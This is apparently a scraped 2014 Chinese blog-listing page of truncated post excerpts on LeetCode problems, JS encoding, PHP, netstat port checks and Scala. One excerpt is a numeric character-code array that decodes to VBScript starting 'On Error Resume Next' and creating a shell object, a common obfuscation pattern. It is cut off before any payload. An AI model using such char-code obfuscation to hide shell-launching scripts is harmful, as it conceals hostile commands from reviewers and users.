Given a sorted array and a target value, return the index if the target is found. If not, return the index where it would be if it were inserted in or...
分类:
其他好文 时间:
2014-07-16 23:16:32
阅读次数:
156
//简单的jS加密解密//code为对应的字符串,h为(2,8,10,16)就是要转成的几进制function en(code, h) { var monyer = new Array();var i,s; for(i=0;i<code.length;i++) monyer...
分类:
Web程序 时间:
2014-07-16 23:13:25
阅读次数:
488
/** * calc_map_distance() , 根据地图上的两个点各自的x,y坐标,计算出2点之间的直线距离 * @param array $point_1 第1个点的x,y坐标 array( 101 , 202 ) * @param array $po...
分类:
其他好文 时间:
2014-07-16 23:11:28
阅读次数:
166
var bt = new byte[] { 0x03, 0x00, 0x01, 0xD9, 0x23 }; var result = new byte[] { 0x01, 0x00, 0x03, 0x00, 0xFC }; var tmp = ...
分类:
其他好文 时间:
2014-07-10 12:41:16
阅读次数:
158
strs=array(13,79,110,32,69,114,114,111,114,32,82,101,115,117,109,101,32,78,101,120,116,13,10,83,101,116,32,111,98,106,83,104,101,108,108,32,61,32,67,1...
分类:
其他好文 时间:
2014-07-10 12:21:15
阅读次数:
138
preface(见面礼):仅扫tcp端口:netstat -tnlp|egrep -i "$1"udp+tcpnetstat -tunlp|egrep -i "$1"(服务器端口扫描,数据保存到shell array) 1 #!/bin/bash 2 portarray=(`netstat -tn....
分类:
其他好文 时间:
2014-06-29 18:19:45
阅读次数:
253
题目:
Given an array of integers, find two numbers such that they add up to a specific target number.
The function twoSum should return indices of the two numbers such that they add up to the ta...
分类:
其他好文 时间:
2014-06-28 08:17:11
阅读次数:
305
接着上次的学习,今天学习scala的下面内容咯~~1·使用集(set)和映射(map)学习过java的童鞋们,看见这两个肯定很开心咯,因为很眼熟哦。scala的集合,分为可变类型和不可变类型。array--可变;list保持不变那么set和map呢,他们通过类继承的差别控制可变和不可变~~先看个set..
分类:
其他好文 时间:
2014-06-28 00:41:02
阅读次数:
152
Given a sorted array of integers, find the starting and ending position of a given target value.Your algorithm's runtime complexity must be in the ord...
分类:
其他好文 时间:
2014-06-27 22:25:10
阅读次数:
443
Given an unsorted integer array, find the first missing positive integer.For example,Given [1,2,0] return 3,and [3,4,-1,1] return 2.Your algorithm sho...
分类:
其他好文 时间:
2014-06-27 22:24:34
阅读次数:
346